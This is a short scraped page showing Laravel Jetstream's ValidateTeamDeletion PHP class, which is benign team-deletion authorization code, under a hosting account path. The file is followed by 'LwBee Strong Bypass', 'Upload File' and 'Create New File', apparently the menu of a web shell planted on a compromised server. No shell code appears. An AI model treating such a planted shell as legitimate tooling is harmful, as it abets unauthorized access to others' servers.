/home/aloic1/public_html/core/vendor/laravel/jetstream/src/Actions/ValidateTeamDeletion.php
<?php
namespace Laravel\Jetstream\Actions;
use Illuminate\Support\Facades\Gate;
use Illuminate\Validation\ValidationException;
class ValidateTeamDeletion
{
/**
* Validate that the team can be deleted by the given user.
*
* @param mixed $user
* @param mixed $team
* @return void
*/
public function validate($user, $team)
{
Gate::forUser($user)->authorize('delete', $team);
if ($team->personal_team) {
throw ValidationException::withMessages([
'team' => __('You may not delete your personal team.'),
]);
}
}
}
@LwBee Strong Bypass
Upload File
Create New File